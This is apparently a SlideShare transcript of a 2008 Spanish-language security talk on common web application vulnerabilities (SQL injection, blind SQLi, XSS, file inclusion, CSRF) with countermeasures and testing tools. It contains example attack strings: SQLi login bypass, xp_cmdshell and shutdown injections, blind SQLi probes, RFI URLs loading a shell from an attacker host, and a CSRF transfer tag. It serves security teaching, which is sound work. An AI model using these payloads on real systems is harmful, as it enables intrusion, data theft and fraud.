Principales vulnerabilidadesen aplicaciones WebChristian MartorellaEdge-security.com                               1
#Whoami: Christian Martorella Cofundador Edge-security.com CISSP, CISM, CISA, OPST, OPSA Actualmente trabajando en Preside...
Escenario actualEl servicio más difundido y utilizado es WWW75% de los ataques ocurren en las aplicaciones Web(Gartner)3 d...
Escenario actual Aumento del uso de aplicaciones web en el día a día, Banca online, redes sociales, etc Web 2.0 añade mayo...
Escenario actual Precio de los datos:                        5
Escenario actualAtaques de phishing y fraude online (Launch pad,infection point)                                          ...
Escenario actual - 4396 vulnerabilidades                     Web Applications	                     Otras vulnerabilidades ...
Escenario actual -Vulnerabilidades más explotadas: PHP Remote File Inclusion SQL Injection Cross Site Scripting (XSS) Cros...
Escenario actual - WASCPorcentaje de sitios vulnerable por tipo de vulnerabilidad                                         ...
Escenario actual - WASC               Vulnerabilidades más comúnes x clase                                      85.57     ...
Escenario actual - OWASPOpen Web Application Security ProjectCantidad de proyectos relacionados con la seguridadde aplicac...
OWASP TOP 10 Cross Site Scripting (XSS) 	 Injection Flaws (SQL, LDAP) Malicious File Execution Insecure Direct Object Refe...
OWASP TOP 10Information Leakage and Improper Error HandlingBroken Authentication and Session ManagementInsecure Cryptograp...
Escenario actual                   14
Web applications 101                       15
Web applications 101                       16
Web applications 101                       17
Las sospechosas habituales                             18
SQL injection                19
SQL injection SQL: Structured Query Language Utilizado para consultar y administrar Bases de Datos Query / consulta: Unida...
SQL injection SELECT * FROM usuarios WHERE name=”laramies”; SELECT id FROM usuarios; SELECT nombre FROM usuarios UNION SEL...
SQL injection La inyección de código SQL se produce cuando datos suministrados por el usuario son enviados sin filtrar a un...
SQL injection <code> sql_query= “SELECT * FROM users WHERE username = " + username_string + " AND userpass = " + password_...
SQL injectionConsulta final en DB:SELECT * FROM users WHERE                            OK!username = laramies ANDuserpass =...
SQL injection                         Consulta final en DB:                         SELECT * FROM users WHERE              ...
SQL injection                           Consulta final en DB:                           SELECT * FROM users WHERE          ...
SQL injection Evadir autenticaciones, controles de acceso. Obtener y/o modificar datos arbitrarios de la base de datos Leer...
SQL injection SELECT * FROM usuarios WHERE name=’laramies’;exec master..xp_cmdshell(net user laramies /add);-- SELECT * FR...
SQL injection       DEMOS [SQL Injection]                               29
SQL injection - Tools Sqlbif: http://www.open-labs.org/ SqPyfia: http://www.edge-security.com Sqlmap: http://sqlmap.sourcef...
Blind SQL injection                      31
Blind SQL injection Blind SQL injection es igual al SQL injection, pero con la diferencia que no se obtienen mensajes de e...
Blind SQL injection Se puede explotar mediante consultas SQL con evaluaciones lógicas del tipo True ó False.  http://newsp...
Blind SQL injection http://newspaper.com/items.php?id=2 and 1=0 SELECT title, description, body FROM items WHERE ID = 2 an...
Blind SQL injection http://newspaper.com/items.php?id=2 and 1=1 SELECT title, description, body FROM items WHERE ID = 2 an...
Blind SQL injection “No se encontró artículo en la Base de datos”   43 chars                     != “Conferencia de Rediri...
Blind SQL injection Como podemos explotarla? http://newspaper.com/items.php?id=2 and 1=1 OK http://newspaper.com/items.php...
Blind SQL injection                      38
Blind SQL injectionsql.php?id=1 and substr(user(),1,1) = “a” NO   “No se encontró artículo en la Base de datos”sql.php?id=...
Blind SQL injection sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK El valor ascii de la primer letra del usuario > 10...
Blind SQL injectionSi el comportamiento es el mismo, estamos seguros de              que no hay SQL injection?            ...
Blind SQL injection Pero podemos usar algunas opciones como:                  Timing              Condicionales (IF)   WAI...
Blind SQL injectionSELECT title, description, body FROM items WHERE ID = 2 ;waitfor delay 0:0:15--          Tiempo de ejec...
Blind SQL injection          DEMOS [Blind]                          44
Blind SQL injection                      45
SQL injectionContramedidas:Validar los datos de entrada, White ListsUtilización de procedimientos almacenados  parametriza...
Blind SQL injectionHerramientas: Sqlbif: http://www.open-labs.org/ SqPyfia: http://www.edge-security.com Pblind: http://www...
SQL Injection                48
Cross Site Scripting XSS                           49
Cross Site Scripting XSS La vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuel...
Cross Site Scripting XSSQue se puede hacer con ellos?:    Robo de información de autenticación y   secuestro de cuentas   ...
Cross Site Scripting XSSMás..        Log Keystrokes          Deface websites        Port Scan Intranet            XSRF    ...
Cross Site Scripting XSSTipos: Persistente o Almacenado No persistente ó reflejado (más común) Basados en DOM (Document Obj...
Cross Site Scripting XSSNo Persistente - Reflejado1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a ...
Cross Site Scripting XSSPersistente 1.El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, así como     fi...
Cross Site Scripting XSS                           56
Cross Site Scripting XSS                           57
Cross Site Scripting XSS       DEMO [Consola Beef]                             58
Cross Site Scripting XSSContramedidas: Filtrar todo el contenido que recibimos para evitar que se incluyan tags de scripti...
Remote File inclusion (RFI)                              60
File inclusionLa inclusión remota de ficheros o código permite a losatacantes incluir código y datos arbitrarios en laaplic...
File inclusion  La podemos encontrar en urls del tipo:  http://vulnsite.com/leer.php?file=news.php  http://vulnsite.com/are...
File inclusion  Ejecutar comandos a través de una consola web.  (Darkraver web-kit)  Paneles de control (c99, r57)  Client...
File inclusion                 64
Remote File inclusion (RFI)                              65
Local File Inclusion                       66
Local File Inclusion                       67
Remote File inclusion (RFI)                              68
Remote File inclusion (RFI)                              69
Remote File inclusion (RFI)        DEMO [Consola SQL]                              70
File inclusion Ocultar nombre de ficheros al usuario Desactivar “allow_url_fopen” y “allow_url_include” en PHP.INI Configura...
XSRF (Cross Site RequestForgery)                           72
Cross Site Request ForgeryEl atacante fuerza al browser de la víctima a realizaruna petición, en la sesión autenticada o n...
Cross Site Request Forgery                             74
Cross Site Request Forgery“Yo no me descargue ese fichero, fui víctima deun CSRF”           “Its a problem for forensics pe...
Cross Site Request ForgeryContramedidas: No funciona confiar en el Referrer. No funciona confiar solo en los POST Utilizar t...
Failure to Restrict URL Access                                 77
Failure to Restrict URL Access Usualmente la aplicación protege solamente las funcionalidades más sensibles, evitando publ...
Failure to Restrict URL Access Existen muchos diccionarios creados para explotar esta vulnerabilidad:     Diccionarios de ...
Failure to Restrict URL Access                           Wfuzz                                   80
Failure to Restrict URL Access          DEMO [Wfuzz]                                 81
Failure to Restrict URL AccessHerramientas: Wfuzz: http://www.edge-security.com/wfuzz.php Dirb: http://www.open-labs.org/ ...
83
WebSlayerNueva herramienta para realizar todo tipo deataques de fuerza bruta sobre aplicaciones webs.   Predictable resour...
WebSlayerMultiple payloadsAll parameter injection (Get, Post, Headers)NTLM and Basic support and bruteforcingPayload encod...
WebSlayer            WebSlayer                    86
WebSlayer        DEMO [Webslayer]                           87
ProxyStrike Herramienta para auditar aplicaciones WEB Actualmente detecta XSS y SQL Injection Es un proxy que mientras se ...
ProxyStrike              89
ProxyStrike              90
ProxyStrike              91
TOOLS   www.edge-security.comWfuzz: http://www.edge-security.com/wfuzz.phpWebSlayer: http://www.edge-security.com/webslaye...
Referenciashttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/http://www.0x000000.com/index.php?i=14http://www.xssed....
?cmartorella@edge-security.com                                94
Upcoming SlideShare
Loading in...5
×

Principales vulnerabilidades en Aplicaciones Web - Rediris 2008

829

Published on

Presentación hecha en el VI Foro de Seguridad Rediris 2008. Esta presentación cubre las principales y mas importantes vulnerabilidades en Aplicaciones Web.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
829
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
23
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Principales vulnerabilidades en Aplicaciones Web - Rediris 2008

  1. 1. Principales vulnerabilidadesen aplicaciones WebChristian MartorellaEdge-security.com 1
  2. 2. #Whoami: Christian Martorella Cofundador Edge-security.com CISSP, CISM, CISA, OPST, OPSA Actualmente trabajando en Presidente de las Conferencias F.I.S.T Miembro de OISSG http://laramies.blogspot.com 2
  3. 3. Escenario actualEl servicio más difundido y utilizado es WWW75% de los ataques ocurren en las aplicaciones Web(Gartner)3 de 4 servidores son vulnerables a los ataques web(Gartner)Cada 1500 líneas de código hay una vulnerabilidad (IBM) 3
  4. 4. Escenario actual Aumento del uso de aplicaciones web en el día a día, Banca online, redes sociales, etc Web 2.0 añade mayor complejidad y nuevos vectores de ataque Los firewall permiten el paso de este servicio y no pueden hacer nada al respecto Punto de contacto con las bases de datos ($$) Cada vez los datos personales tienen más valor, y hay más interesados en ellos. 4
  5. 5. Escenario actual Precio de los datos: 5
  6. 6. Escenario actualAtaques de phishing y fraude online (Launch pad,infection point) 6
  7. 7. Escenario actual - 4396 vulnerabilidades Web Applications Otras vulnerabilidades 7
  8. 8. Escenario actual -Vulnerabilidades más explotadas: PHP Remote File Inclusion SQL Injection Cross Site Scripting (XSS) Cross Site request forgery (CSRF) 8
  9. 9. Escenario actual - WASCPorcentaje de sitios vulnerable por tipo de vulnerabilidad Cross site Scripting Other Information Leakage Http Response Splitting SQL Injection SSI Injection Web Application Security Consortium 2006 9
  10. 10. Escenario actual - WASC Vulnerabilidades más comúnes x clase 85.57 26.38 Cross Site Scripting 15.70 SQL Injection Information Leakage 9.76 HTTP Response Splitting Path Traversal1.19 Other 4.30 0 25 50 75 100 Web Application Security Consortium 2006 10
  11. 11. Escenario actual - OWASPOpen Web Application Security ProjectCantidad de proyectos relacionados con la seguridadde aplicaciones webUno de ellos el Top 10 de vulnerabilidades 11
  12. 12. OWASP TOP 10 Cross Site Scripting (XSS) Injection Flaws (SQL, LDAP) Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF) 12
  13. 13. OWASP TOP 10Information Leakage and Improper Error HandlingBroken Authentication and Session ManagementInsecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access 13
  14. 14. Escenario actual 14
  15. 15. Web applications 101 15
  16. 16. Web applications 101 16
  17. 17. Web applications 101 17
  18. 18. Las sospechosas habituales 18
  19. 19. SQL injection 19
  20. 20. SQL injection SQL: Structured Query Language Utilizado para consultar y administrar Bases de Datos Query / consulta: Unidad típica de ejecución. Consultas básicas: SELECT, INSERT, UPDATE. 20
  21. 21. SQL injection SELECT * FROM usuarios WHERE name=”laramies”; SELECT id FROM usuarios; SELECT nombre FROM usuarios UNION SELECT name FROM employees; 21
  22. 22. SQL injection La inyección de código SQL se produce cuando datos suministrados por el usuario son enviados sin filtrar a un intérprete como parte de una consulta (Query), con el fin de modificar el comportamiento original, para ejecutar comandos o consultas arbitrarias en la base de datos. 22
  23. 23. SQL injection <code> sql_query= “SELECT * FROM users WHERE username = " + username_string + " AND userpass = " + password_string + "" </code> 23
  24. 24. SQL injectionConsulta final en DB:SELECT * FROM users WHERE OK!username = laramies ANDuserpass = test 24
  25. 25. SQL injection Consulta final en DB: SELECT * FROM users WHERE username = laramies AND userpass = test Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string AND userpass=userpass_string. 25
  26. 26. SQL injection Consulta final en DB: SELECT * FROM users WHERE username = or 1=1;-- AND userpass = testOK!! Acceso permitidocon el primer usuario dela DB 26
  27. 27. SQL injection Evadir autenticaciones, controles de acceso. Obtener y/o modificar datos arbitrarios de la base de datos Leer ficheros del sistema operativo Ejecutar comandos en el Sistema Operativo 27
  28. 28. SQL injection SELECT * FROM usuarios WHERE name=’laramies’;exec master..xp_cmdshell(net user laramies /add);-- SELECT * FROM usuarios WHERE name=’laramies’;shutdown-- 28
  29. 29. SQL injection DEMOS [SQL Injection] 29
  30. 30. SQL injection - Tools Sqlbif: http://www.open-labs.org/ SqPyfia: http://www.edge-security.com Sqlmap: http://sqlmap.sourceforge.net/ Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project 30
  31. 31. Blind SQL injection 31
  32. 32. Blind SQL injection Blind SQL injection es igual al SQL injection, pero con la diferencia que no se obtienen mensajes de error ni resultados en las respuestas. Es más difícil de explotar y lleva más tiempo obtener los resultados. Se ocultaron los mensajes de error, pero no se arregló la vulnerabilidad. 32
  33. 33. Blind SQL injection Se puede explotar mediante consultas SQL con evaluaciones lógicas del tipo True ó False. http://newspaper.com/items.php?id=2 SELECT title, description, body FROM items WHERE ID = 2 Y como resultado en el browser obtenemos: “Conferencia de Rediris el día 28” 33
  34. 34. Blind SQL injection http://newspaper.com/items.php?id=2 and 1=0 SELECT title, description, body FROM items WHERE ID = 2 and 1=0 Como resultado en el browser obtenemos:“No se encontro articulo en la Base de datos” ID = 2 and 1=0 True and False False 34
  35. 35. Blind SQL injection http://newspaper.com/items.php?id=2 and 1=1 SELECT title, description, body FROM items WHERE ID = 2 and 1=1 Como resultado en el browser obtenemos: “Conferencia de Rediris el dia 28” 35
  36. 36. Blind SQL injection “No se encontró artículo en la Base de datos” 43 chars != “Conferencia de Rediris el día 28” 32 chars 36
  37. 37. Blind SQL injection Como podemos explotarla? http://newspaper.com/items.php?id=2 and 1=1 OK http://newspaper.com/items.php?id=2 and 1=0 NO Hay que averiguar el tipo de DB: http://newspaper.com/items.php?id=2 and user()=user() OK --> MYSQL 37
  38. 38. Blind SQL injection 38
  39. 39. Blind SQL injectionsql.php?id=1 and substr(user(),1,1) = “a” NO “No se encontró artículo en la Base de datos”sql.php?id=1 and substr(user(),1,1) = “b” NO “No se encontró artículo en la Base de datos”sql.php?id=1 and substr(user(),1,1) = “c” NO “No se encontró artículo en la Base de datos”sql.php?id=1 and substr(user(),1,1) = “d” NO “No se encontró artículo en la Base de datos”sql.php?id=1 and substr(user(),1,1) = “e” NO “No se encontró artículo en la Base de datos”sql.php?id=1 and substr(user(),1,1) = “f” OK “Conferencia de Rediris el día 28” Primer carácter del resultado de la función user() es “f” 39
  40. 40. Blind SQL injection sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK El valor ascii de la primer letra del usuario > 100 sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK sql.php?id=1 and ascii(substr(user(),1,1)) >150 NO sql.php?id=1 and ascii(substr(user(),1,1)) >125 NO sql.php?id=1 and ascii(substr(user(),1,1)) >112 OK sql.php?id=1 and ascii(substr(user(),1,1)) >118 OK sql.php?id=1 and ascii(substr(user(),1,1)) >114 NO sql.php?id=1 and ascii(substr(user(),1,1)) >113 OK sql.php?id=1 and ascii(substr(user(),1,1)) =114 OK Primer carácter del resultado de la función user() es “r” 40
  41. 41. Blind SQL injectionSi el comportamiento es el mismo, estamos seguros de que no hay SQL injection? NO... SELECT title, description, body FROM items WHERE ID = 2 and 1=0 32 Chars SELECT title, description, body FROM items WHERE ID = 2 and 1=1 32 Chars 41
  42. 42. Blind SQL injection Pero podemos usar algunas opciones como: Timing Condicionales (IF) WAIT FOR DELAY 0:0:10 SQL Server BENCHMARK() MySQL pg_sleep(10) PostgreSQL 42
  43. 43. Blind SQL injectionSELECT title, description, body FROM items WHERE ID = 2 ;waitfor delay 0:0:15-- Tiempo de ejecución > = 15 seg OK! SELECT title, description, body FROM items WHERE ID = 2;if (select user) = sa waitfor delay 0:0:15 Tiempo de ejecución > = 15 OK! Sabemos que el usuario es “SA” 43
  44. 44. Blind SQL injection DEMOS [Blind] 44
  45. 45. Blind SQL injection 45
  46. 46. SQL injectionContramedidas:Validar los datos de entrada, White ListsUtilización de procedimientos almacenados parametrizadosConexiones con mínimos privilegios, granularidad Validar, validar, validar, y por las dudas validar. 46
  47. 47. Blind SQL injectionHerramientas: Sqlbif: http://www.open-labs.org/ SqPyfia: http://www.edge-security.com Pblind: http://www.edge-security.com Sqlmap: http://sqlmap.sourceforge.net/ Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project 47
  48. 48. SQL Injection 48
  49. 49. Cross Site Scripting XSS 49
  50. 50. Cross Site Scripting XSS La vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuelve al browser sin validarlos o codificarlos. Para poder explotar esta vulnerabilidad generalmente el atacante tendrá que engañar a la víctima en abrir un link, visitar una página, ver una imagen, etc... 50
  51. 51. Cross Site Scripting XSSQue se puede hacer con ellos?: Robo de información de autenticación y secuestro de cuentas Robo y envenenamiento de cookies Website Deface Phishing 51
  52. 52. Cross Site Scripting XSSMás.. Log Keystrokes Deface websites Port Scan Intranet XSRF Abusar de vulnerabilidades del Robar History browser 52
  53. 53. Cross Site Scripting XSSTipos: Persistente o Almacenado No persistente ó reflejado (más común) Basados en DOM (Document Object Model) 53
  54. 54. Cross Site Scripting XSSNo Persistente - Reflejado1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a sus datos personales.2. Haxor encuentra un XSS de tipo “No persistente” en “XSSLand”.3. Haxor prepara una URL que explota la vulnerabilidad, y envia el link a través del correo, haciendose pasar por el servicio de administración de “XSSLand”4. Alice visita la URL que envio Haxor mientras esta logueada en “XSSLand”5. El script incrustado en la URL, se ejecuta en el Browser, como si viniera de “XSSLand”. El script envia la cookie de sesión a Haxor. Ahora Haxor puede acceder a “XSSLand” como si fuera Alice y obtener o modificar la información disponible. 54
  55. 55. Cross Site Scripting XSSPersistente 1.El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, así como firmar el libro de visitas. 2.Haxor detecta que el sitio “XSSLand” es vulnerable a un XSS de tipo persistente.3. Haxor envia un mensaje controversial o con gancho, para animar a otros usuarios a verlo.4. Solo con ver el mensaje, la cookie de sesión de los usuarios sera enviada a un servidor controlado por Haxor sin que los usuarios se den cuenta. 5.Posteriormente Haxor, accede con las cookies de sesión de los otros usuarios y envia mensajes suplantando la identidad de las victimas. 55
  56. 56. Cross Site Scripting XSS 56
  57. 57. Cross Site Scripting XSS 57
  58. 58. Cross Site Scripting XSS DEMO [Consola Beef] 58
  59. 59. Cross Site Scripting XSSContramedidas: Filtrar todo el contenido que recibimos para evitar que se incluyan tags de scripting, aceptando solo los valores válidos. (White Lists) Antes de almacenar y de volver a mostrar los datos a los usuarios, se recomienda transformar los meta- caracteres, que permiten esta vulnerabilidad, a su entidad HTML correspondiente. > &gt; < &lt; & &amp; Validar, validar, validar, y por las dudas validar. 59
  60. 60. Remote File inclusion (RFI) 60
  61. 61. File inclusionLa inclusión remota de ficheros o código permite a losatacantes incluir código y datos arbitrarios en laaplicación vulnerable, que luego se ejecutará en elservidor.Muchas aplicaciones permiten subir ficheros, fotos,documentos, etc... (Upload)La inclusión de los ficheros puede ser tanto local comoremota 61
  62. 62. File inclusion La podemos encontrar en urls del tipo: http://vulnsite.com/leer.php?file=news.php http://vulnsite.com/area.php?file=news http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00Si logramos incluir código, ficheros o realizar un uploadpodemos... 62
  63. 63. File inclusion Ejecutar comandos a través de una consola web. (Darkraver web-kit) Paneles de control (c99, r57) Cliente SQL a través de http. Subir y ejecutar cualquier binario (Port redirectors, túneles, etc) Cualquier cosa que se nos ocurra. Control total del servidor :) 63
  64. 64. File inclusion 64
  65. 65. Remote File inclusion (RFI) 65
  66. 66. Local File Inclusion 66
  67. 67. Local File Inclusion 67
  68. 68. Remote File inclusion (RFI) 68
  69. 69. Remote File inclusion (RFI) 69
  70. 70. Remote File inclusion (RFI) DEMO [Consola SQL] 70
  71. 71. File inclusion Ocultar nombre de ficheros al usuario Desactivar “allow_url_fopen” y “allow_url_include” en PHP.INI Configurar firewalls para prevenir que el servidor Web no pueda realizar conexiones nuevas hacia servidores externos o internos. Utilizar valores que se mapeen con los ficheros necesarios, asi “1” es equivalente a “config_user.ini”, “2” a “config_site.ini” Validar, validar, validar, y por las dudas validar. 71
  72. 72. XSRF (Cross Site RequestForgery) 72
  73. 73. Cross Site Request ForgeryEl atacante fuerza al browser de la víctima a realizaruna petición, en la sesión autenticada o no, de unaaplicación sin el conocimiento del usuario.<IMG SRC=”http://www.mibancaonline.com/transferencia.asp?amount=1000000&to_account=3l3373” /> 73
  74. 74. Cross Site Request Forgery 74
  75. 75. Cross Site Request Forgery“Yo no me descargue ese fichero, fui víctima deun CSRF” “Its a problem for forensics people who arent as familiar with it and might not understand whether its possible that CSRF could be blamed for what the defendant is accused of. “ Chuck Willis, Principal consultant, Mandiant 75
  76. 76. Cross Site Request ForgeryContramedidas: No funciona confiar en el Referrer. No funciona confiar solo en los POST Utilizar tokens Random! (campos HIDDEN) 76
  77. 77. Failure to Restrict URL Access 77
  78. 78. Failure to Restrict URL Access Usualmente la aplicación protege solamente las funcionalidades más sensibles, evitando publicar los links o las urls a los usuarios no autorizados. Los atacantes explotan esta vulnerabilidad accediendo directamente a estas funcionalidades. 78
  79. 79. Failure to Restrict URL Access Existen muchos diccionarios creados para explotar esta vulnerabilidad: Diccionarios de distintos idiomas Diccionarios por contexto dependiendo del servidor Web, servidor de aplicaciones, y Aplicaciones 79
  80. 80. Failure to Restrict URL Access Wfuzz 80
  81. 81. Failure to Restrict URL Access DEMO [Wfuzz] 81
  82. 82. Failure to Restrict URL AccessHerramientas: Wfuzz: http://www.edge-security.com/wfuzz.php Dirb: http://www.open-labs.org/ 82
  83. 83. 83
  84. 84. WebSlayerNueva herramienta para realizar todo tipo deataques de fuerza bruta sobre aplicaciones webs. Predictable resource locator, recursion supported Login form bruteforce Session bruteforce Parameter bruteforce Basada en wfuzz Parameter Injection (XSS, SQL) Basic and Ntml Bruteforcing 84
  85. 85. WebSlayerMultiple payloadsAll parameter injection (Get, Post, Headers)NTLM and Basic support and bruteforcingPayload encodingTailored dictionaries for known applications (Apache, Tomcat, Weblogic, Websphere,Vignette, etc) Thanks to DarkRaver www.open-labs.org 85
  86. 86. WebSlayer WebSlayer 86
  87. 87. WebSlayer DEMO [Webslayer] 87
  88. 88. ProxyStrike Herramienta para auditar aplicaciones WEB Actualmente detecta XSS y SQL Injection Es un proxy que mientras se navega la aplicación, realiza las inyecciones de SQL y XSS en todos los parámetros dinámicos. 88
  89. 89. ProxyStrike 89
  90. 90. ProxyStrike 90
  91. 91. ProxyStrike 91
  92. 92. TOOLS www.edge-security.comWfuzz: http://www.edge-security.com/wfuzz.phpWebSlayer: http://www.edge-security.com/webslayer/Webslayer.htmlProxyStrike: http://www.edge-security.com/proxystrike.php 92
  93. 93. Referenciashttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/http://www.0x000000.com/index.php?i=14http://www.xssed.com/xssinfoDhanjani Hack-lu presentationOne Way Hacking http://net-square.com/papers/one_way/one_way.htmlOwasp http://www.owasp.org 93
  94. 94. ?cmartorella@edge-security.com 94
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×